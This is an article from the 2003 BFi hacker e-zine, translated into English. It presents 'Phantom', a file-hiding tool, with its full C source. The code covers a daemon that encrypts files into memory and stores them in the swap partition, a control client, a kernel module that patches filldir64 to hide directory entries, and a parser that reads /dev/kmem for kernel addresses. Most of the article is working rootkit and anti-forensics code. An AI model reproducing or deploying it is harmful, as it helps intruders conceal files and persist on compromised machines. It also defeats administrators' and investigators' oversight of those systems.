-[ BFi - English version ]---------------------------------------------------- BFi is an e-zine written by the Italian hacker community. Full source code and original Italian version are available at: http://bfi.s0ftpj.org/dev/BFi12-dev-03 English version translated by Tanith ------------------------------------------------------------------------------ ============================================================================== --------------------[ BFi12-dev - file 03 - 14/03/2003 ]---------------------- ============================================================================== -[ DiSCLAiMER ]--------------------------------------------------------------- The whole stuff contained in BFi has informative and educational purposes only. In no event the authors could be considered liable for damages caused to people or things due to the use of code, programs, pieces of information, techniques published on the e-zine. BFi is a free and autonomous way of expression; we, the authors, are as free to write BFi as you are free to go on reading or to stop doing it right now. Therefore, if you think you could be harmed by the topics covered and/or by the way they are in, * stop reading immediately and remove these files from your computer * . You, the reader, will keep to youself all the responsabilities about the use you will do of the information published on BFi by going on. You are not allowed to post BFi to the newsgroups and to spread *parts* of the magazine: please distribute BFi in its original and complete form. ------------------------------------------------------------------------------ -[ HACKiNG ]------------------------------------------------------------------ ---[ EPiS0DE II: ATTACKiNG FiLES -----[ Dark-Angel -== Episode II: Attacking files ==- Technical requirements: -= libdisasm, you can find them at http://bastard.sourceforge.net -= Knowing something about C Optional requirements: -= Two minutes of your precious time Necessary requirements: -= Introducing me a girl you know :P -=Introduction=- Now we'll examine shortly what market offers about files hiding. We won't consider at all binary tools doing it, since they can be found too easily. In my opinion, Kernel space hiding is a better choice, but if a file system should ever be checked by another kernel, or by assembling hd on another machine, there would be no problem to find us. About inode tricks, they're interesting, but we can't forget data are physically on hard disk, thus a low level scanning would find them. The method I'm to introduce is not a panacea, but it should be safe from such controls and permit a longer permanency. :-) -=Let's start=- At first, we have to get free from file system and to consider files in their quintessence, that is a bit set. This way all things are the same, the only difference between a file and a process, for example, would be where bits are located, in the first case they're located in fs, in the second case in ram. Then, if they are the same, why shouldn't we treat them the same way? If we succeed in doing it, hiding a file is the same as hiding a process, and we know how to do the last one... If we can copy, even in a rough way, a file system into ram, then we only have to move data from a fs to another one, a very simple thing to do. If we act this way, we'll get thus a process that will behave like a virtual file system and will take care of managing our files; we'll only have to hide this process in order to hide all data included on virtual fs. All this happens without using a sole hard disk bit. That's nice, but we are not considering 3 things: - By observing process memory it could be possible to read what hidden files contain; - If electricity goes, everything goes down the drain; - If data size is too large, machine performance decrease would be not sustainable. The first problem can easily be resolved by using cryptography. As for the second and the third, we'll have to introduce something else. Hiding must be permanent, also when machine is off, but if we save files on hard disk they can be noticed... well, actually that's not exactly this way: nobody forces us to save them in "data" fs (that is ext?), we can as well use for this purpose swap partition. By saving crypted data in appropriate structures within swap partition we can reload them or flush them at will, so that we don't take up too much ram and we don't loose everything if electricity goes. Also, a swap analysis wouldn't get nowhere, as we are crypting there too. Problems derived by writing into swap are not likely, since we write on partition bottom, where, in theory, only operations allowed on files when files are hidden this way are the ones disposed by our vfs: for example, if we want to execute a hidden program, we'd have to recreate ELF before executing it. During permanency on hd, however, it would be clearly visible... unless we don't hide it another way: you can choose how, but for who doesn't know how I attach here a hiding module working on filldir rather than on overcontrolled getdents :) Note: of course, Phantom creates files hidden copies, doesn't hide file on itself. Once hidden by Phantom, you'll have to delete file on your own. -= Phantom =- A short description about how to use it. If we run program with no arguments we get commands list: Vortex:~# ./Phantom [F]lush <--> Forces saving files [S]ummon <--> Forces loading files [L]ist <--> Lists memorized files [H]ide <--> Hides specified file [M]hide <--> Hides recorsively all directory files [R]ecreate <--> Recreates specified file [A]llCreation <--> Recreates recorsively all directory files [I]nfo <--> Shows memory bytes used on that time [C]leanup <--> Deletes all (volatile) memory files [E]rase <--> Deletes all flushed files Vortex:~# Ok, now we activate it by using ./Phantom dummy_parameter and we take its pid. We put pid in p_config.h and we compile client.c (pid is not compulsory, it is used to avoid writing it everytime as argument when you launch client) and at the end we write command letter followed by parameters. Here's an example: Vortex:~# ./client Using hardcoded PID 120 Insert command:>I Used memory --> 0 Insert command:>M /var/log/ Insert command:>I Insert command:> /* If we don't have command output, it means it's still working so we have to wait a bit */ Insert command:>I Memoria usata --> 49999657 Insert command:>L . . . ... files list Insert command:>A /var/log/ksymoops/ Insert command:>I Memoria usata --> 1513060 /* There were a few of them, weren't there? :P */ Insert command:>F Insert command:>I Memoria usata --> 0 Insert command:>L Insert command:>S Insert command:>L . . . ... files list Now use should be understandable :) -== Thanks ==- A special thank to xenion, valnir, vecna, delilah`, tinybyte and sgrakkyu, whose I take advantage of to do my tests, and to all #phrack.it guys :) -== Codes ==- <-| phantom/Phantom.c |-> /* Phantom, files hider/manager through fs/RAM/Swap * * Copyright (c) 2003 Pierre Falda * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include #include #include #include #include #include #include #include #include #include #include #include "p_config.h" #define GETPARAMETER do { char *buffer=(char *)calloc(MAXNAMELENGTH+20,sizeof(char));\ char *buffer2;\ if(!buffer) {\ whooops("Memoria non sufficiente per parsare il comando");\ break;\ }\ buffer2=(char *)calloc(MAXNAMELENGTH+20,sizeof(char));\ if(!buffer2) {\ whooops("Memoria non sufficiente per parsare il comando");\ free(buffer);\ break;\ }\ strncpy(buffer2,command,MAXNAMELENGTH+20);\ getdir(buffer,buffer2);\ free(buffer2); #define CLOSEGET free(buffer);\ }\ while(0); unsigned long swapdimension; struct nodo *testa_lista = NULL; void critical(char *); struct file_entry { char nome[MAXNAMELENGTH]; char valid[sizeof(VALID)]; int dimensione; void *data; }; struct nodo { struct nodo *next; struct file_entry *slot; }; /* * Cryptographic Engine by xenion,only adapted by me */ /* * Nulla di spettacolare, giusto per non lavorare in chiaro */ unsigned char key[KEYLEN + 1]; typedef struct { unsigned b1:1; unsigned b2:1; unsigned b3:1; unsigned b4:1; unsigned b5:1; unsigned b6:1; unsigned b7:1; unsigned b8:1; } bit8; unsigned char * pseudo64(unsigned char Pbyte[]) { bit8 save_up, *Pbit8; Pbit8 = (bit8 *) & Pbyte[0]; save_up.b1 = Pbit8->b8; Pbyte[0] <<= 1; Pbit8 = (bit8 *) & Pbyte[1]; save_up.b2 = Pbit8->b8; Pbyte[1] <<= 1; Pbit8->b1 = save_up.b1 ^ Pbit8->b2 ^ Pbit8->b3; Pbit8 = (bit8 *) & Pbyte[2]; save_up.b3 = Pbit8->b8; Pbyte[2] <<= 1; Pbit8->b1 = save_up.b2 ^ Pbit8->b2 ^ Pbit8->b3; Pbit8 = (bit8 *) & Pbyte[3]; save_up.b4 = Pbit8->b8; Pbyte[3] <<= 1; Pbit8->b1 = save_up.b3 ^ Pbit8->b2 ^ Pbit8->b3; Pbit8 = (bit8 *) & Pbyte[4]; save_up.b5 = Pbit8->b8; Pbyte[4] <<= 1; Pbit8->b1 = save_up.b4 ^ Pbit8->b2 ^ Pbit8->b3; Pbit8 = (bit8 *) & Pbyte[5]; save_up.b6 = Pbit8->b8; Pbyte[5] <<= 1; Pbit8->b1 = save_up.b5 ^ Pbit8->b2 ^ Pbit8->b3; Pbit8 = (bit8 *) & Pbyte[6]; save_up.b7 = Pbit8->b8; Pbyte[6] <<= 1; Pbit8->b1 = save_up.b6 ^ Pbit8->b2 ^ Pbit8->b3; Pbit8 = (bit8 *) & Pbyte[7]; save_up.b8 = Pbit8->b8; Pbyte[7] <<= 1; Pbit8->b1 = save_up.b7 ^ Pbit8->b2 ^ Pbit8->b3; Pbit8 = (bit8 *) & Pbyte[0]; Pbit8->b1 = save_up.b8 ^ save_up.b2 ^ save_up.b3 ^ save_up.b4; Pbit8->b4 = Pbit8->b1 ^ save_up.b5 ^ save_up.b6 ^ save_up.b7; return (Pbyte); } int enc(char *path) { int bytes, i; FILE *in, *out; char buf[KEYLEN]; memset(key, 'x', KEYLEN); if (!(in = fopen(path, "r"))) return -1; if (!(out = fopen(TEMPATH, "w"))) { fclose(in); return -1; } strncpy(key, KEY, KEYLEN); for (i = 0; i < 100; i++) pseudo64(key); while ((bytes = fread(buf, 1, KEYLEN, in)) > 0) { pseudo64(key); for (i = 0; i < bytes; i++) buf[i] = buf[i] + key[i]; fwrite(buf, 1, bytes, out); } fclose(in); fclose(out); return 0; } int dec(char *path) { int bytes, i; FILE *in, *out; char buf[KEYLEN]; char *last; int posizione, counter; memset(key, 'x', KEYLEN); if (!(in = fopen(TEMPATH, "r"))) return -1; // Con questo arriviamo all'entry esatta last = (char *) strrchr(path, (int) '/'); posizione = 1 + (last - path); for (counter = 0; counter < posizione; counter++) if (path[counter] == '/') do { struct stat dummy_info; char *array = (char *) calloc(counter + 1, sizeof(char)); char *command = (char *) calloc(MAXNAMELENGTH + 11, sizeof(char)); if (!array) { remove(TEMPATH); fclose(in); return -1; } if (!command) { fclose(in); free(array); remove(TEMPATH); return -1; } memcpy(array, path, counter); if (strlen(array) != 0) if ((lstat(array, &dummy_info)) < 0) { memcpy(command, "mkdir ", 6); strcat(command, array); system(command); memset(command, '\0', counter + 11); memcpy(command, "chmod +700 ", 11); strcat(command, array); system(command); } free(array); free(command); } while (0); if (!(out = fopen(path, "w"))) { fclose(in); return -1; } strncpy(key, KEY, KEYLEN); for (i = 0; i < 100; i++) pseudo64(key); while ((bytes = fread(buf, 1, KEYLEN, in)) > 0) { pseudo64(key); for (i = 0; i < bytes; i++) buf[i] = buf[i] - key[i]; fwrite(buf, 1, bytes, out); } fclose(in); fclose(out); return 0; } /* * End of the cryptographic section */ void check(void); void whooops(char *); unsigned long total_dimension = 0; int cancella_nodo(char *nome) { struct nodo *primo, *secondo; primo = testa_lista; secondo = primo; while ((strcmp(secondo->slot->nome, nome))) { primo = secondo; if (secondo) secondo = secondo->next; else return 1; if (!(secondo->next)) return 1; } if (secondo == testa_lista) testa_lista = primo->next; else primo->next = secondo->next; free(secondo->slot->data); free(secondo->slot); secondo->next = NULL; free(secondo); return 0; } struct nodo * crea_nodo(struct file_entry *file) { struct nodo *elemento = (struct nodo *) calloc(1, sizeof(struct nodo)); if (!elemento) return NULL; elemento->next = testa_lista; elemento->slot = file; testa_lista = elemento; return testa_lista; } int hide_file(char *name) { struct stat info_file; struct file_entry *newborn; void *data; int handler; if ((lstat(name, &info_file)) < 0) return -1; if ((total_dimension + sizeof(struct nodo) + sizeof(struct file_entry) + (int) info_file.st_size) > MAXMEMORYUSAGE) { whooops("Non hai abbastanza memoria!\n"); return -1; } if (! (newborn = (struct file_entry *) calloc(1, sizeof(struct file_entry)))) return -1; if (!(data = (void *) calloc(info_file.st_size, sizeof(void)))) { free(newborn); return -1; } if (enc(name) < 0) { free(newborn); free(data); return -1; } if ((handler = open(TEMPATH, O_RDONLY)) < 0) { free(newborn); free(data); return -1; } if ((read(handler, data, (int) info_file.st_size)) < info_file.st_size) { close(handler); free(newborn); free(data); return -1; } close(handler); strncpy(newborn->nome, name, MAXNAMELENGTH); strncpy(newborn->valid, VALID, sizeof(VALID)); newborn->dimensione = (int) info_file.st_size; newborn->data = data; if (!crea_nodo(newborn)) { free(newborn); free(data); return -1; } remove(TEMPATH); total_dimension += (sizeof(struct nodo) + sizeof(struct file_entry) + newborn->dimensione); return 0; } int recreate(char *name, int mode) { int handler; struct nodo *runner = testa_lista; if (mode == SINGLEFILE) { while (runner) { if (!(strcmp(runner->slot->nome, name))) { if ((handler = open(TEMPATH, O_CREAT | O_WRONLY)) < 0) return -1; if ((write (handler, runner->slot->data, runner->slot->dimensione)) < 0) return -1; close(handler); if (dec(runner->slot->nome) < 0) { remove(TEMPATH); return -1; } remove(TEMPATH); total_dimension -= (sizeof(struct nodo) + sizeof(struct file_entry) + runner->slot->dimensione); cancella_nodo(runner->slot->nome); return 0; } else runner = runner->next; } } else { while (runner) { if (!(strncmp(runner->slot->nome, name, strlen(name)))) { if ((handler = open(TEMPATH, O_CREAT | O_WRONLY)) < 0) { return -1; } if ((write (handler, runner->slot->data, runner->slot->dimensione)) < 0) { close(handler); return -1; } close(handler); if (dec(runner->slot->nome) < 0) { remove(TEMPATH); return -1; } remove(TEMPATH); total_dimension -= (sizeof(struct nodo) + sizeof(struct file_entry) + runner->slot->dimensione); cancella_nodo(runner->slot->nome); runner = testa_lista; } else { // printf("->%s<- is the string e non matcha con ->%s<- per i primi %d bytes\n",name,runner->slot->nome,strlen(name)); runner = runner->next; } } } return 0; } int hide_dir(char *pathname) { struct dirent *dir_entry; DIR *dir_stream; struct stat buf; char *tempbuf = (char *) calloc(MAXNAMELENGTH, sizeof(char)); if (!tempbuf) return -1; if (!(dir_stream = opendir(pathname))) { free(tempbuf); whooops("Impossibile aprire la directory base\n"); whooops(pathname); return -1; } while ((dir_entry = readdir(dir_stream))) { if ((!(strcmp(dir_entry->d_name, "."))) || (!(strcmp(dir_entry->d_name, "..")))) continue; else { memset(&buf, '\0', sizeof(struct stat)); memset(tempbuf, '\0', MAXNAMELENGTH); memcpy(tempbuf, pathname, strlen(pathname)); strcat(tempbuf, dir_entry->d_name); if ((lstat(tempbuf, &buf)) < 0) { whooops("Errore esaminando un'entry: "); whooops(tempbuf); continue; } if (S_ISDIR(buf.st_mode)) { do { char *artificial = (char *) calloc(strlen(tempbuf) + 1 + 1, sizeof(char)); if (artificial == NULL) { whooops("Sottodirectory non nascosta!->"); whooops(tempbuf); continue; } memcpy(artificial, tempbuf, (strlen(tempbuf))); hide_dir(strcat(artificial, "/")); free(artificial); } while (0); continue; } memset(tempbuf, '\0', MAXNAMELENGTH); strncpy(tempbuf, pathname, MAXNAMELENGTH - 256); strcat(tempbuf, dir_entry->d_name); if ((hide_file(tempbuf)) < 0) { whooops("File non nascosto!:"); whooops(tempbuf); continue; } } } free(tempbuf); closedir(dir_stream); return 0; } void getdir(char *dest, char *src) { int i; char *start = strchr(src, (int) '/'); for (i = 0; i < strlen(src); i++) if (*start != '\n') *dest++ = *start++; else break; } void getswap(char *dest) { int test = 1; FILE *filestream; char *ret, tempbuf[200] = { '\0' }; char filepath[] = "/etc/fstab"; if (!(filestream = fopen(filepath, "r"))) { critical("File delle partizioni non trovato"); exit(-1); } while ((ret = fgets(tempbuf, 200, filestream))) { if (strstr(tempbuf, "swap")) break; else { memset(tempbuf, '\0', 200); continue; } } fclose(filestream); while (test++ < MAXNAMELENGTH) if ((*ret != '\t') && (*ret != ' ')) *dest++ = *ret++; else break; } int lister(void) { FILE *stream; struct nodo *dummy; if (!(stream = fopen(CONTACT, "a"))) return -1; dummy = testa_lista; while (dummy) { fwrite(dummy->slot->nome, sizeof(char), strlen(dummy->slot->nome), stream); fwrite("\n", sizeof(char), 1, stream); dummy = dummy->next; } fclose(stream); return 0; } int to_swap(void) { char swap_path[200] = { '\0' }; struct nodo *dummy; int handler; getswap(swap_path); if ((handler = open(swap_path, O_RDWR)) < 0) return -1; if ((lseek(handler, -(TRUEMEMORYUSAGE), SEEK_END)) < 0) { close(handler); return -1; } dummy = testa_lista; while (dummy) { if (write(handler, dummy->slot, sizeof(struct file_entry)) < 0) { close(handler); return -1; } if (write(handler, dummy->slot->data, dummy->slot->dimensione) < 0) { close(handler); return -1; } total_dimension -= (sizeof(struct nodo) + sizeof(struct file_entry) + dummy->slot->dimensione); cancella_nodo(dummy->slot->nome); dummy = testa_lista; } close(handler); return 0; } int regeneration(void) { char swap_path[200] = { '\0' }; unsigned long quanto = 0; struct file_entry *reborn; void *data; int handler, tmp; getswap(swap_path); if ((handler = open(swap_path, O_RDONLY)) < 0) return -1; if ((lseek(handler, -(TRUEMEMORYUSAGE), SEEK_END)) == -1) { critical("Problemi con la rigenerazione dei files!!!"); exit(-1); } if (! (reborn = (struct file_entry *) calloc(1, sizeof(struct file_entry)))) { close(handler); return -1; } while ((tmp = read(handler, reborn, sizeof(struct file_entry))) > 0) { if ((quanto += tmp) > MAXMEMORYUSAGE) return 0; if (!(strstr(reborn->valid, VALID))) { memset(reborn, '\0', sizeof(struct file_entry)); continue; } if (!(data = (void *) calloc(reborn->dimensione, sizeof(void)))) { memset(reborn, '\0', sizeof(struct file_entry)); continue; // Se non ha abbastanza spazio prova con // un'altro } read(handler, data, reborn->dimensione); reborn->data = data; if ((crea_nodo(reborn)) < 0) { memset(reborn, '\0', sizeof(struct file_entry)); continue; } total_dimension += sizeof(struct nodo) + sizeof(struct file_entry) + reborn->dimensione; if (! (reborn = (struct file_entry *) calloc(1, sizeof(struct file_entry)))) { close(handler); return -1; } data = NULL; } free(reborn); close(handler); return 0; } void critical(char *message) { int handler; if ((handler = open(CONTACT, O_WRONLY)) < 0) { fprintf(stderr, "Wow, fallimento critico nella critical!\n-->%s<--\n", message); exit(-1); } if ((write(handler, message, strlen(message))) < 0) { fprintf(stderr, "Wow, fallimento critico nella critical\n-->%s<--\n", message); exit(-1); } close(handler); } void whooops(char *message) { int handler; if ((handler = open(CONTACT, O_WRONLY)) < 0) { fprintf(stderr, "%s\n", message); return; } if ((write(handler, message, strlen(message))) < 0) { fprintf(stderr, "%s\n", message); return; } close(handler); } void commands(void) { printf(" [F]lush <--> Forza il salvataggio dei files\n [S]ummon <--> Forza il caricamento dei files\n [L]ist <--> Elenca i files memorizzati\n [H]ide <--> Nasconde il file specificato\n [M]hide <--> Nasconde ricorsivamente tutti i files della directory\n [R]ecreate <--> Ricrea il file specificato\n [A]llCreation <--> Ricrea ricorsivamente tutti i files della dir\n [I]nfo <--> Mostra i bytes di memoria attualmente utilizzati\n [C]leanup <--> Cancella tutti i files in memoria\n [E]rase <--> Cancella tutti i file flushati\n\n"); exit(0); } void memory(void) { FILE *stream; if (!(stream = fopen(CONTACT, "a"))) return; fprintf(stream, "Memoria usata --> %ld\n", total_dimension); fclose(stream); } int erase(void) { int handler; char *infinite = (char *) calloc(1, sizeof(char)); char swap_path[200] = { '\0' }; int i; memset(infinite, '\0', sizeof(char)); getswap(swap_path); if ((handler = open(swap_path, O_RDWR)) < 0) { free(infinite); return -1; } if ((lseek(handler, -(TRUEMEMORYUSAGE), SEEK_END)) < -(TRUEMEMORYUSAGE)) { free(infinite); return -1; } for (i = 0; i < MAXMEMORYUSAGE; i++) write(handler, infinite, 1); free(infinite); close(handler); return 0; } void cleanup(void) { struct nodo *hunter, *back; int dimensione; hunter = testa_lista; while (hunter) { back = hunter->next; dimensione = hunter->slot->dimensione; if (!(cancella_nodo(hunter->slot->nome))) total_dimension -= (sizeof(struct nodo) + sizeof(struct file_entry) + dimensione); hunter = back; } } int main(int argc, char *argv[]) { void backup(); void fuck(); if (argc == 1) commands(); if (fork()) { printf("Phantom started\n"); exit(0); } check(); signal(SIGTERM, backup); signal(SIGHUP, backup); signal(SIGSEGV, backup); signal(SIGSTKFLT, fuck); regeneration(); recreate("/",DIRECTORY); while (1) sleep(10000000); return 0; } void backup(void) { to_swap(); } void check(void) { int opened; char *swapname = (char *) calloc(MAXNAMELENGTH, sizeof(char)); getswap(swapname); if ((opened = open(swapname, O_RDWR)) < 0) { critical("Impossibile aprire la swap!"); free(swapname); exit(-1); } if ((swapdimension = lseek(opened, 0, SEEK_END)) < TRUEMEMORYUSAGE) { critical("Non c'e' abbastanza spazio nella swap!"); close(opened); free(swapname); exit(-1); } close(opened); free(swapname); } void fuck(void) { char command[MAXNAMELENGTH + 20] = { '\0' }; FILE *stream; if (!(stream = fopen(INPUT, "rw"))) return; while (fgets(command, MAXNAMELENGTH + 20, stream)) { switch (command[0]) { case 'F': if ((to_swap()) < 0) whooops("Swapping non riuscito\n"); break; case 'S': if ((regeneration()) < 0) whooops("Summoning non riuscito\n"); break; case 'L': if ((lister()) < 0) whooops("Listing non riuscito\n"); break; case 'H': GETPARAMETER if ((hide_file(buffer)) < 0) whooops("Hiding non riuscito\n"); CLOSEGET break; case 'M': GETPARAMETER if ((hide_dir(buffer)) < 0) whooops("Hiding non riuscito\n"); CLOSEGET break; case 'R': GETPARAMETER if ((recreate(buffer, SINGLEFILE)) < 0) whooops("Recreating non riuscito\n"); CLOSEGET break; case 'A': GETPARAMETER if ((recreate(buffer, DIRECTORY)) < 0) whooops("Recreating non riuscito\n"); CLOSEGET break; case 'I': memory(); break; case 'C': cleanup(); break; case 'E': if ((erase()) < 0) whooops("Erasing non ruscito\n"); break; } memset(command, '\0', MAXNAMELENGTH + 20); } fclose(stream); remove(INPUT); } <-X-> <-| phantom/Client.c |-> /* * Silly raw client for Phantom * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include #include #include #include #include #include #include "p_config.h" int pid=P_PID; int main(int argc,char *argv[]){ int fd; char buffer[500]; pid=P_PID; if(argc==1) fprintf(stderr,"Using hardcoded PID\n"); else pid=atoi(argv[1]); while(1) { if((fd=open(INPUT,O_CREAT|O_WRONLY| O_TRUNC))<0) ERROR("Cannot open commands file!\n"); memset(buffer,'\0',500); fprintf(stderr,"Insert command:>"); read(0,buffer,500); if(write(fd,buffer,strlen(buffer))<=0) { fprintf(stderr,"Cannot write this command!\n"); continue; } close(fd); kill(pid,SIGSTKFLT); sleep(1); if((fd=open(CONTACT,O_RDONLY))<0) continue; memset(buffer,'\0',500); while(read(fd,buffer,500)>0) fprintf(stderr,"%s",buffer); fprintf(stderr,"\n"); close(fd); remove(CONTACT); } return 0; } <-X-> <-| phantom/p_config.h |-> #define MAXMEMORYUSAGE 50000000 /* Change this to modify memory limits */ #define TRUEMEMORYUSAGE MAXMEMORYUSAGE+10000000 #define MAXNAMELENGTH 104+256 #define SINGLEFILE 0 #define DIRECTORY 1 #define VALID "A Phantom Valid Entry" /* Change this as you want */ #define CONTACT "/tmp/P_out" /* Outputs read by client */ #define INPUT "/tmp/P_in" /* Where client writes inputs */ #define TEMPATH "/tmp/P_temp" /* Service file */ #define KEYLEN 8 #define KEY "h4x0r" #define ERROR(arg) { fprintf(stderr,"arg"); return -1; } #define P_PID 777 #define HIDETAG "change_this" <-X-> <-| phantom/Obfuscate.c |-> /* * A simple files hider through filldr64 * * Copyright (c) 2003 Pierre Falda * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #define __KERNEL__ #define MODULE #define LINUX #ifdef CONFIG_MODVERSIONS #define MODVERSIONS #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include "p_config.h" #define CODESIZE 7 static char injcode[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0"; static char backup[CODESIZE]; struct linux_dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[0]; }; struct getdents_callback64 { struct linux_dirent64 * current_dir; struct linux_dirent64 * previous; int count; int error; }; #define NAME_OFFSET(de) ((int) ((de)->d_name - (char *) (de))) #define ROUND_UP64(x) (((x)+sizeof(u64)-1) & ~(sizeof(u64)-1)) static int n_filldir64(void * __buf, const char * name, int namlen, loff_t offset, ino_t ino, unsigned int d_type) { struct linux_dirent64 * dirent, d; struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf; int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1); int ret; static int (*o_filldir)(void *,const char *, int, loff_t, ino_t,unsigned int)=(void *)FILLDIR64; if((strstr(name,HIDETAG))) return 0; memcpy((unsigned long *)FILLDIR64,backup,CODESIZE); ret=o_filldir(__buf,name,namlen,offset,ino,d_type); memcpy((unsigned long *)FILLDIR64,injcode,CODESIZE); return ret; } int init_module (void) { *(unsigned long *)&injcode[1]=(unsigned long)n_filldir64; memcpy(backup,(unsigned long *)FILLDIR64,CODESIZE); memcpy((unsigned long *)FILLDIR64,injcode,CODESIZE); return 0; } void cleanup_module(void) { memcpy((unsigned long *)FILLDIR64,backup,CODESIZE); } <-X-> <-| phantom/Parser.c |-> /* * Do ./parser >> p_config.h to add filldir64 address * * * Copyright (c) 2003 Pierre Falda * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include #include #include #include #include #include #include #include #include #define SIZE 20 int stalk_filldir64(int fd, unsigned long *address); int main(void) { int file_descriptor; off_t offset; unsigned char byte_letto; if ((file_descriptor = open(KMEM, O_RDONLY)) < 0) { fprintf(stderr, "Cannot open kmem\n"); exit(-1); } disassemble_init(0, ATT_SYNTAX); if ((stalk_filldir64(file_descriptor, (unsigned long *) &offset)) < 0) exit(-1); disassemble_cleanup(); close(file_descriptor); } int stalk_filldir64(int fd, unsigned long *address) { unsigned long s_c_t[256] = { 0 }; static char buffer[SIZE]; int i, j, k; struct instr istruzione; *address = SYS_CALL_TABLE; if ((lseek(fd, *address, SEEK_SET)) == -1) return -1; if (read(fd, s_c_t, 256 * 4) <= 0) return -1; *address = s_c_t[__NR_getdents64]; for (i = 0, j = 0, k = 0;; i += j) { if (lseek(fd, (*address) + i, SEEK_SET) == -1) return -1; if (read(fd, buffer, SIZE) < SIZE) { fprintf(stderr, "Cannot read\n"); return -1; } if ((j = disassemble_address(buffer, &istruzione))) { if (istruzione.mnemonic[0] != 0) if ((strstr(istruzione.mnemonic, "call"))) { k = 1; } if (k) { if ((strstr(istruzione.mnemonic, "push"))) { if (istruzione.dest[0] != 0) if ((strstr(istruzione.dest, "$0xC0"))) { printf("#define FILLDIR64 0x%s\n", &istruzione.dest[3]); break; } if (istruzione.src[0] != 0) if ((strstr(istruzione.src, "$0xC0"))) { printf("#define FILLDIR64 0x%s\n", &istruzione.src[3]); break; } } } } else j = 1; } return 0; } <-X-> -[ WEB ]---------------------------------------------------------------------- 